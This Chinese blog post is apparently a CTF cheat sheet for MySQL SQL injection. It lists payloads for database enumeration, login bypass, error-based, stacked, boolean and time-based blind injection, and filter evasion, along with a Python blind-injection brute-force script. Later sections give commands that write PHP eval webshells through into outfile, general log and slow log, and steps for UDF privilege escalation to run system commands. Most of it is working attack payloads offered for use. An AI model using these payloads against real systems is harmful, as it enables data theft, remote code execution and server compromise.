sql

mysql

sql

Posted by lyk on August 1, 2024

1 information_schema常规查询流程

information_schema中的三个特殊表:

一个是schemata,一个是tables(有21列),一个是columns,

schema纪录数据库中所有的数据库名

tables 纪录数据库中所有的表,column纪录数据库中所有的表和列;

爆库:

select group_concat(schema_name) from information_schema.schemata

爆表

select group_concat(table_name) from information_schema.tables where table_schema = '某某'
select group_concat(table_name) from information_schema.tables where table_schema = database()              #有时候会这样

爆字段

select group_concat(column_name) from information_schema.columns where table_name = '某某'

爆值

select group_concat(*) from  (where 字段=某某)
select group_concat(,xxx,xxx) from xxx.xxx
select group_concat(concat_ws(0x7e,xxx,xxx)) from xxx.xxx

ctf

最后一个爆值一般是

select group_concat(username) from users
select group_concat(password) from users

group_concat可以用concat_ws替换

数据库名可以用十六进制替换:0x十六进制的数据库名

2 闭合字符

  • 引号类
'
"
)
')
")
数字型,考虑使用注释符
  • 注释符
#
--+
/**/
  • %00
因为#,-都被过滤,于是采用%00进行截断,注意如果在输入框中直接输入%00,那么就会被编码成%2500,然后计算机在解码成%00,会黑名单过滤
在bp中直接输入%00,防止二次编码可以达到截断的作用

如果写python脚本的话,由于要防止二次编码,%00要写作parse.unquote(‘%00’)

比如说脚本

import requests
import time
from urllib import parse
import string
 
url="http://53329c83-815a-48d8-9191-6c3270f58121.node4.buuoj.cn:81/index.php"
 
passwd=''
 
proxies = { "http": None, "https": None}        #3.7以后要添加代理池
strings='_'+string.ascii_lowercase+string.digits
 
for pos in range(1,10000):
    for asci in strings:
        data={
    "username":"\\",
    "passwd":'||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+asci,parse.unquote('%00'))
}
 
        resp = requests.post(url=url,data=data,proxies=proxies);
 
        #print(resp.text)
 
        if 'welcome' in resp.text:
            print('true')
            passwd = passwd + asci
            print("[*]passwd : "+passwd)
            break
  • 斜杠

注释符和引号被过滤尝试斜杠,斜杠可能可以转义掉单引号

\

对应的解决方案呢就是做转义喽,同理还有跨域攻击

  • 编码类

以md5为例:

如果是md5后的password,源码如下

select * from `admin` where password='".md5($pass,true)."'

payload如下

ffifdyop        //md5(ffifdyop',true) === $a; $a="'or'1";

3 万能钥匙-验证逻辑

3.1 没有回环验证

demo:

后端是直接没有回环验证的情况,且存在sql注入时,万能钥匙直接秒

$res = mysql_querry("select id from users where username='"+$_POST['username']+"' and password = '"+$_POST['password']+"';")
if($res){
    print("success! this is your flag{xxx}")
}

payload

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
' or '1 
 
另一种类型是(利用联合查询产生虚拟数据欺骗php脚本)
admin=' union select 1,2,3;#&passwd=3

如果是md5后的password,源码如下

select * from `admin` where password='".md5($pass,true)."'

payload如下

ffifdyop        //md5(’ffifdyop',true) === $a; $a="'or'1";

3.2 有回环验证

3.2.1 利用REPLACE
'UNION SELECT REPLACE(REPLACE('"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#') AS pw#
3.2.2 利用线程表
1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na
me/**/like'%connection%'/**/limit/**/1,1)t#

3.3 利用注册

可以用约束攻击

看下面第4点

4 约束攻击

条件

有表里有控制长度

原理

INSERT语句:截取前20个字符

SELECT语句:输入什么就是什么

所以insert一个”admin “

那么select的时候就可以绕过”此用户已注册“,但是后续insert却只截取admin(空格也被省略了),

demo

<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
    die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
    die('账号已注册');
}else{
    $sql2="insert into users values('$username','$password');";
    mysqli_query($conn,$sql2);
    die('注册成功');
}
<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
    die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username' and password='$password';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
    $_SESSION['username']=$username;
}else{
    echo 'fail';
}
create table users(
  username varchar(20),
    password varchar(20)
)

5 联合查询

特点

将查询的结果显示出来

利用

  • 判断注入点闭合情况
  • 通过order by查列数
  • 通过union进行联合查询
' union select 1,2,database()--

6 报错注入

6.1 updatexml和extractvalue

适用版本:5.1.5+

updatexml

select xxx or updatexml(1,concat(0x7e,payload,0x7e),1)

extractvalue

select 1,2,extractvalue(1,concat(0x7e,payload,0x7e))

原理:

updatexml原理:(Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,

Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回

值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内

容)sql报错注入:extractvalue、updatexml报错原理-阿里云开发者社区 (aliyun.com)

extractvalue原理:Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回

值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容)

6.2 exp、pow、溢出

适用版本:5.5.5~5.5.49

select exp(~(select * from(select user())a));
select pow(2,~(select * from(select user())a));
select 1+(~(select * from(select user())a));

6.3 floor双注入查询

rand+group+count

利用:

select count(*),concat(user(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x;

原理分析见:rand+group+count报错注入分析:rand+group+count报错注入分析 (wolai.com)

6.4 不存在函数

通过不存在函数报错得到当前数据库名

select a();
ERROR 1305 (42000): FUNCTION test.a does not exist

6.5 name_const

查询数据库版本

select * from(select name_const(version(),1),name_const(version(),1))a;

6.6 uuid

适用版本:8.0.x

利用:

select uuid_to_bin((database()));
select bin_to_uuid((database()));

6.7 join using

查询字段名

select * from(select * from tb1 a join(select * from tb1)b)c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1))c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1,cl2))c;

6.8 gtid

仅一列,可查user()、version()、database()

select gtid_subset(user(),1);
select gtid_subtract(user(),1);

6.9 polygon

前提:知道字段名(一般用id)

报当前查询语句的库、表、字段

mysql> select flag from ctf where polygon(id);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`id`' value found during parsing
mysql> select flag from ctf where polygon(flag);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`flag`' value found during parsing

6.10 cot

前提:知道字段名(一般用id)

报当前查询语句的库、表、字段

mysql> select username from users where cot(username);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(`ctf`.`users`.`username`)'
mysql> select username from users where cot(concat('a',id));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(concat('a',`ctf`.`users`.`id`))'

6.11 其他报错函数

适用版本:低于mysql(5.6.22)

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

7 堆叠注入

原理

可执行多条sql语句,例如

$mysqli->multi_query($sql);

7.1 写文件

set global general_log=on;
set global general_log_file='/var/www/html/shell.php';
select "<?php eval($_POST['jan']);?>";

7.2 查询

查表名:show tables

查字段:show columns

7.3 handler+show

绕过select过滤

handler users open as hd;#指定数据表,返回句柄
handler hd read first;#读取指定表首行数据
handler hd read next;#读取下一行
handler hd close;#关闭句柄

如果想看数据库、表、字段,如下payload:

show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;

7.4 预处理/预编译

原理:当你进行如下预编译语句时,mysql是可以执行的;(那么我们就做到了类似于eval这样强制把字符串执行的作用)

prepare st from concat('s','elect',' * from table_name');
execute st;

一种比较长的写法

set @a ='payload';    设置(声明)一个变量并赋予它一个值;
prepare b from @a;  设置一个命令 并把前面的变量赋给它;
execute b;          执行这个命令

例子

set @hmt = concat('sel','ect flag from `1919810931114514`; ') ;prepare a from @hmt;execute a;

8 布尔盲注

8.1 特点

一般出现回显因为正误而不同的情况即可考虑布尔盲注

  • 回显不同(内容、长度)
  • HTTP响应状态码不同
  • HTTP响应头变化(重定向、设置cookie)
  • 基于错误的布尔注入

8.2 注意点

  • 有时候报错注入就足够了
  • 如果Timeout了,大概率是因为访问频率过高被ban了

8.3 payload格式

本质就是某个查询语句的回显结果是1还是0的区别,但其嵌入到不同的语句会看上去有不同的格式

  • if(ascii(substr(" +payload+",{0},1))={1},1,2) #substr式
    
  • admin'or/**/password>'1'                      #比较式(用于                                     过滤太多的情况,暂无脚本)
    1^(password>'1')                              #比较式的一个变种
    
  • select 1+~0;                              #bigint溢出式,1为布尔点
    
  • cot(1)                                      #1为布尔点 余切
       
    mysql> select cot(1);
    +--------------------+
    | cot(1)             |
    +--------------------+
    | 0.6420926159343306 |
    +--------------------+
    1 row in set (0.00 sec)
       
    mysql> select cot(0);
    ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
    
  • exp:e的指数
select exp(999*1);--ERROR 1690 (22003): DOUBLE value is out of range in 'exp((999 * 1))'
select exp(999*0);--1
  • pow:乘方
select pow(1,9999);

9 时间盲注

9.1 sleep

sleep(3)

9.2 benchmark

作用:

将表达式执行指定次数

语法:

benchmark(count,expr)

利用:

在执行次数比较多时,可以代替sleep函数

benchmark(1000000000,0)-- 三秒左右
benchmark(10000000,md5(0))-- 一秒左右

9.3 笛卡尔积

select count(*) from information_schema.columns a,information_schema.columns b;

select SUM(1) from information_schema.columns a,information_schema.columns b;

9.4 正则匹配

select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b');

9.5 get_lock(前置条件多), 正则

GET_LOCK(str, timeout)

对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间

SESSION A上锁,注入时的第一步也是对字段加锁

mysql> select get_lock('111',10);
+--------------------+
| get_lock('111',10) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.01 sec)

再打开一个终端SESSION B

mysql> select get_lock('111',5);
+-------------------+
| get_lock('111',5) |
+-------------------+
|                 0 |
+-------------------+
1 row in set (5.00 sec)

可结合and短路运算规则进行时间盲注

select * from vorname where Vorname='Lina' and 1=1 and  get_lock('111',2);
Empty set (2.00 sec)

限制条件

数据库连接必须是持久连接,这个我还没有实践过,参考参考文章,大概意思就是在数据库mysql_connect()mysql_close()之间的生命周期才生效。

10 宽字节注入

10.1 前提

php和数据库编码字符集不同+使用了addslashes

而且,只有这个addslashes和预编译的情况可以把admin’这个东西插入到数据库中,但是预编译肯定不会作为sql题来出,所以必然是addslashes,考察宽字节注入

10.2 payload

payload (这个payload的结构在恶意代码中相当于报错注入闭合用的单引号、双引号)

%df%27

11 二次注入

原理:

1.查询时单引号被转义,但从数据库中取出的时候没有被转义(都是指php代码)

2.一个有问题的的数据(payload)被存入数据库中,之后的sql语句将该数据取出,然后再使用该数据去拼接sql语句,之后执行这个被拼接的sql语句!总结为一句话就是:sql语句拼接了有问题的数据然后执行。

demo看sql注入千层套路和jacko笔记

12 无列名注入

12.1 联合查询+别名

当column被过滤时,无法通过特殊库来获取列名,无法get flag

此时要先获取表的列数

  • 用order by判断
  • 直接union select判断

payload

select b from (select 1,2,3 as B union select * from user)a limit 1,1;

用 limit 1,1而不是用 limit 0,1,因为第 0行是列名(1/2/3)

原理:

利用union select创造的虚拟表格(一个两种数据拼在一起的表格)!!

image-20210819202045735

image-20210819202245870

12.2 比较法

select (select 'admin','~','~')<(select * from users where username='admin' limit 1);

13 table注入

table的语法是

table 表名

mysql> table Persons;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address      | City    |
+------+----------+-----------+--------------+---------+
|    1 | Gates    | Bill      | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)
mysql> table Persons limit 1;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address      | City    |
+------+----------+-----------+--------------+---------+
|    1 | Gates    | Bill      | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)

Table注入则是输出上述表后,自行创建另一个表与之比较(注意必须两边都用limit 1),

mysql> select 0 or (2,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (2,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
|                                                    0 |
+------------------------------------------------------+
1 row in set (0.00 sec)
 
mysql> select 0 or (1,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (1,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
|                                                 NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)
 
mysql> select 0 or (0,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (0,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
|                                                    1 |
+------------------------------------------------------+
1 row in set (0.00 sec)
 
mysql> select 0 or (-1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------------+
| 0 or (-1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------------+
|                                                     1 |
+-------------------------------------------------------+
1 row in set (0.00 sec)

当回显null的时候刚好是1,这样可以知道Persons第一列的值是1

要是嫌麻烦,直接外面加cot()扁平化处理(加一些用于条件判断的,mysql上多试试就有)

mysql> select cot((2,null,null,null,null)<(table Persons limit 1));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(((2,NULL,NULL,NULL,NULL) < (select `my_dbThai`.`Persons`.`Id_P`,`my_dbThai`.`Persons`.`LastName`,`my_dbThai`.`Persons`.`FirstName`,`my_dbThai`.`Persons`.`Address`,`my_dbThai`.`Persons`.`City` from `my_dbThai`.`Persons` limit 1)))'
mysql> select cot((1,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((1,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
|                                                 NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)
 
mysql> select cot((0,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((0,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
|                                   0.6420926159343306 |
+------------------------------------------------------+
1 row in set (0.00 sec)
 
mysql> select cot((null,null,null,null,null)<(table Persons limit 1));
+---------------------------------------------------------+
| cot((null,null,null,null,null)<(table Persons limit 1)) |
+---------------------------------------------------------+
|                                                    NULL |
+---------------------------------------------------------+
1 row in set (0.00 sec)

1以后都不报错,这就是布尔点了

当不想注入其他列时(控制变量),可以都设置为null

mysql> select (null,null,null,null,null)<(table Persons limit 1);
+----------------------------------------------------+
| (null,null,null,null,null)<(table Persons limit 1) |
+----------------------------------------------------+
|                                               NULL |
+----------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (0,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (0,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)
 
mysql> select (1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
|                                            NULL |
+-------------------------------------------------+
1 row in set (0.00 sec)

14 比较大小

14.1 比较符与运算符

  • >
  • <
  • >=
  • <=
  • =:等于,如果两个操作数均为NULL,则返回NULL
  • <=>:等于,但是如果两个操作数均为NULL,则返回1而不是NULL,如果一个操作数为NULL则返回0而不是NULL
  • !=:不等于
  • <>:不等于
  • ^ (异或,如果相同则回显0,不同回显1,常用于盲注,语法: num^num)
  • 等号:绕注释符
select '1'=(1)='1';
  • 减法:绕注释符
select '1'-1-'';
  • and、or+减法:
select 1 and ascii('a')-97;
select 0 or ascii('a')-97;

14.2 strcmp

select strcmp('a','b');-- -1
select strcmp('b','b');-- 0
select strcmp('c','b');-- 1
select strcmp('ab','b');-- -1

代替等号

where !strcmp(table_schema,'ctf');

14.3 between and

select 2 between 1 and 3;-- 1
select 'b' between 'a' and 'c';

代替等号

where table_schema  between 'ctf' and 'ctf'

 
 
 

14.4 in

语法:

WHERE column_name IN (value1,value2,...)

利用:

可用于代替等号

where table_schema in ('ctf')
where id in(1,2)

14.5 like

当没有%时,like可代替等号

select 'abc' like 'abc';

14.6 regexp、rlike

代替等号

select 'abc' regexp '^abc$';
select 'abc' rlike '^abc$';

14.7 if,case比较

case:

select case 'a' when 'a' then 1 else 0 end;
select case when (1<2) then 1 else 0 end;

if:

select 1^(ascii('a')-96)^1;

elt:

1’ or elt(2>1,xxx)

14.8 instr

select instr('jacko','a');//2

14.9 行比较

select (2,1)>(1,2);-- 1
select (1,1)!=(1,2);-- 1

14.10 order by比较

select 's' union select 'test' order by 1 limit 1;

14.11 字符串与整型

字符串和整型比较时,会将字符串转成整型再比较

  • a=>0
  • '12a'=>12

14.12 字符串大小写

大小顺序:

  1. A-Z或a-z(不敏感)
  2. 0-9
  3. 特殊字符按ascii码顺序排序

大小写都不敏感:无论是关键字还是值,但在linux的mysql中,库名、表名都是敏感的

select 'a'='A';-- 1
select strcmp('test','TEST');-- 0

大小写敏感:

14.12.1 binary

方法一:在前面加上binary使得大小写敏感

select 'abc'='ABC';--1
select binary 'abc'='ABC';--0
binary('字符串')
(当然也可以binary(0x某某)
14.12.2 COLLATE’utf8mb4_bin’

方法二:

前提:数据库以utf8mb4_bin进行编码

后面接上 COLLATE’utf8mb4_bin’ 或者COLLATE utf8mb4_bin

14.12.3 编码类

方法三:

  • bin();
  • hex();
  • md5();

15 字符串截取

15.1 left, right

语法:

left(str,len)
right(str,len)

left先reverse,再转ascii

15.2 substr, substring,mid

语法:pos从1开始

substr(str,pos,len)
substring(str,pos,len)
mid(str,pos,[len])

绕过:

绕过逗号

select substr('test',1,2);
select substr('test' from 1 for 2);
select substring('test',1,2);
select substring('test' from 1 for 2);

15.3 trim

select trim([both/leading/trailing] 'x' from 'xxx');
select trim(leading 'a' from 'abc');--bc
select trim(leading 'b' from 'abc');--abc

15.4 insert

select insert((insert('abcdef',1,0,'')),2,999,'');-- a
select insert((insert('abcdef',1,2,'')),2,999,'');-- c

16 编码

  • ascii
select ascii('abc');-- 97
  • ord
select ord('abc');-- 97
  • bin();
  • hex();

传入字符或十进制,返回十六进制

select hex('a');-- 61
select hex(97);-- 61
  • md5();

编码转字符:

  • unhex
  • char

17 逗号被过滤

一般用到逗号都是联合查询&报错注入,或者时间盲注

时间盲注用case when的方法:

  • case when

if 被过滤,可以用case when (时间盲注等情况)

select -1 or case when 1=1 then 1 else 0 end;

image-20210819112352949

  • substr 逗号被过滤,可以用substr(xxx from 1 for 1)
  • ascii(mid(user(),1,1))=80 等于 user() like ‘r%’
  • join

18 过滤空格

/**/        (首选)  py脚本可以用replace函数,参考jacko脚本

%a0

%0a

%0d

%09
 
tab
  • unicode编码(编码绕过)

f689d61f777d7ffd32a6872d4ab57c3f.png

  • 两个空格

  • tab

  • 括号(建议现在本地把payload测试完后再怼上去,先从小的往外面打括号)

    例子

    爆库

    select(group_concat(schema_name))from(information_schema.schemata);
    

    爆表

select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'test'

爆字段

select(group_concat(column_name))from(information_schema.columns)where(table_name='persons');

19 过滤单引号双引号

凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过

比如: hex绕过

select 0x74657374='test';-- 1

20 关键词绕过

  • 大小写

针对正则没加/i参数的情形

  • 双写
  • 编码

凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过

比如: hex绕过

select 0x74657374='test';-- 1
  • 相似函数替换

if 被过滤,使用case when

limit 可以用offset绕过,limit 0,1等于limit 0 offset 1

20.1 select 被过滤

table

mysql8

table :只能查询表,不能按列查询

table user;     #相当于select * from user 
table user order by username limit 1 offset 0;

table盲注原理示例:(元组的比较)

image-20210820122021224

table盲注information_schema.tables示例:

"admin' or ("def","{0}",1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)=(table information_schema.tables order by CREATE_TIME desc limit 1,1)".format({i})

该表查阅官方文档有21列,1表示占位(回显True),此盲注可以把数据库名(table_schema)表名(table_name)一并注入出。

注意区分大小写,如使用hex,binary等(参考字符串大小写)

handler + show

如果想看表的内容,可以用handler的方式绕过,参考.payload如下

handler table_name open
handler table_name read first;
handler table_name read last;
handler table_name close;

如果想看数据库、表、字段,如下payload:

show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;

21 预编译绕过

原理:根据参数安全地替换占位符

PDO场景下的SQL注入探究 - 先知社区

PDO下的sql注入 - xiaolong’s blog

奇安信攻防社区-SQL注入& 预编译

  • PDO 默认支持多语句查询,如果 php 版本小于 5.5.21
    • 或创建 PDO 实例时未设置 PDO::MYSQL_ATTR_MULTI_STATEMENTS 为 false,可能会造成堆叠注入
  • PHP PDO的模拟预编译语句和本地预处理语句存在差异
    • PDO 默认开启模拟预处理,PDO 内部会模拟参数绑定的过程,SQL 语句是在最后 execute() 的时候才发送给数据库执行
    • 非模拟预处理则是通过数据库服务器来进行预处理动作:第一步是 prepare 阶段,发送 SQL 语句模板到数据库服务器;第二步通过 execute() 函数发送占位符参数给数据库服务器进行执行
    • 如果设置了 PDO::ATTR_EMULATE_PREPARES => false,那么 PDO 不会模拟预处理
    • 如果还设置了 setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION) 的话,可以报错注入
  • order by 之后需要的是一个表名,这个表名不能以字符串的形式存在。因此,该位置大概率会被写成拼接,这就造成了 SQL 注入的可能。
  • like 在写法 like ‘%:username%’” 下存在注入,like concat(‘%’,:username,’%’) 下无法注入

22 猜测表

可以用exists函数

select flag from flag

select username,password from users

23 特殊库

23.1 information_schema库

字段 说明
information_schema.schemata schema_name 库名
information_schema.tables table_schema、table_name 库名、表名
information_schema.columns table_schema、table_name、column_name 库名、表名、字段名

23.2 sys库

mysql5.7增加sys系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来

示例:

select table_schema from sys.schema_table_statistics group by table_schema;
字段 说明
sys.innodb_buffer_stats_by_schema object_schema 库名
sys.innodb_buffer_stats_by_table object_schema、object_name 库名、表名
sys.io_global_by_file_by_bytes file 路径中包含表名
sys.io_global_by_file_by_latency file 路径中包含表名
sys.processlist current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
sys.session current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
sys.schema_auto_increment_columns table_schema、table_name、column_name 库名、表名、字段名
sys.schema_index_statistics table_schema、table_name 库名、表名
sys.schema_object_overview db 库名
sys.schema_table_statistics table_schema、table_name 库名、表名
sys.schema_table_statistics_with_buffer table_schema、table_name 库名、表名
sys.schema_tables_with_full_table_scans object_schema、object_name 库名、表名
sys.statement_analysis或者sys.x$statement_analysis query、db 请求访问的数据库名、数据库最近执行的请求
sys.version mysql_version mysql版本信息
sys.x$innodb_buffer_stats_by_schema object_schema 库名
sys.x$innodb_buffer_stats_by_table object_schema、object_name 库名、表名
sys.x$io_global_by_file_by_bytes file 路径中包含表名
sys.x$schema_tables_with_full_table_scans object_schema、object_name 库名、表名
sys.x$schema_flattened_keys table_schema、table_name、index_columns 库名、表名、字段名
sys.x$ps_schema_table_statistics_io table_schema、table_name 库名、表名

23.3 performance_schema

字段 说明
performance_schema.objects_summary_global_by_type object_schema、object_name 库、表
performance_schema.table_handles object_schema、object_name 库、表
performance_schema.table_io_waits_summary_by_index_usage object_schema、object_name 库、表
performance_schema.table_io_waits_summary_by_table object_schema、object_name 库、表

23.4 mysql库

字段 说明
mysql.innodb_table_stats database_name、table_name 表名
mysql.innodb_index_stats database_name、table_name  

24 搭环境

24.1 搭建sqli-labs:

docker pull acgpiano/sqli-labs

image-20210727204904354

24.2 搭建mysql8

docker run -d --name Mysql8 -e MYSQL_ROOT_PASSWORD=root -p 33306:3306 mysql:8.0.27
docker exec -it xxxxxx sh
mysql -u root -p

24.3 快速建库和表

CREATE DATABASE my_dbThai;
use my_dbThai;
CREATE TABLE Persons
(
Id_P int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
INSERT INTO Persons VALUES (1,'Gates', 'Bill', 'Xuanwumen 10', 'Beijing');

image-20220919212500458

24.4 mysql运维

  • 重启mysql数据库:systemctl restart mysql
  • 导入数据库

25 getshell

25.1 outfile和dumpfile写shell

利用条件

  • 数据库当前用户为root权限;
  • 知道当前网站的绝对路径;
  • PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie)
  • 写入的那个路径存在写入权限。

payload:

select '<?php eval($_POST[1]);?>' into outfile 'C:/phpstudy/WWW/1.php'
select '<?php eval($_POST[1]);?>' into downfile 'C:/phpstudy/WWW/1.php'
1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'

25.2 表中写shell并导出

insert into`test1`(`username`) values ('<?php  @eval($_POST[1]);?>');

select username from test1 into outfile 'D:/phpstudy_pro/WWW/shell.php';

25.3 开全局日志写shell

set global general_log=on;

set global general_log_file='/var/www/html/shell.php';

select "<?php eval($_POST[1]);?>";

25.4 慢查询日志写入shell

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'
查看慢日志参数
show global variables like '%slow%'

对慢日志参数进行修改

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路径注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)

这儿11是超过慢日志的10秒时间

26 提权

26.1 udf提权

udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。

  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下
  • 当MySQL>5.1版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。常用c语言编写。

使用方法

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval(‘dir’);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

所以,我们应该把‘udf.dll’中的自定义函数引入进来。看一下官方文档中的语法:

13.7.4.1 CREATE FUNCTION Syntax for User-Defined  Functions  CREATE [AGGREGATE] FUNCTION function_name  RETURNS {STRINGIINTEGERI REALI DECIMAL}  SONAME  A user-defined function (UDF) is a way to extend MySQL with a new  function that works like a native (built-in) MySQL function such as  ABS orc0NCAT().  function name is the name that should be used in SQL  statements to invoke the function. The RETURNS clause indicates  the type of the function's return value. DECIMAL is a legal value  after RETURNS, but currently DECIMAL functions return string values  and should be written like STRING functions.  shared library name is the base name of the shared library file  that contains the code that implements the function. The file must  be located in the plugin directory. This directory is given by the  value of the plugin system variable. For more information,  see Section 28.4.2.5, "IJDF Compiling and Installing".

看看实例用法:

CREATE FUNCTION sys_eval **RETURNS** STRING SONAME 'udf.dll';  

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。

至此我们已经引入了sys_eval函数,下面就是使用了。

这个函数用于执行系统命令,用法如下:

select sys_eval('cmd command');  

准备工作

一:查看 secure_file_priv 的值

secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

show global variables like 'secure%';

我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。

  • 如果 secure_file_priv为NULL是不能写入导出文件的。
  • 如果secure_file_priv没有具体的值,则可以写入导出文件。
  • secure_file_priv的值在MySQL数据库的安装目录的 my.ini 文件中配置。

二:查看plugin的值

但是实际测试发现UDF提权成功与否与该值无关。

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
  • 当 plugin 的值为空时不可提权
  • 当 plugin 值为 mysql_native_password 时可通过账户连接提权

三:查看系统架构以及plugin目录

show variables like '%compile%';             #查看主机版本及架构
show variables like 'plugin%';               #查看 plugin 目录

提权

现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。

下面来整理一下思路:

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数

先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can’t open shared library ‘udf.dll’。获取sqlmap的udf请看链接:https://blog.csdn.net/x728999452/article/details/52413974

然后将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:

SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\gg.txt';
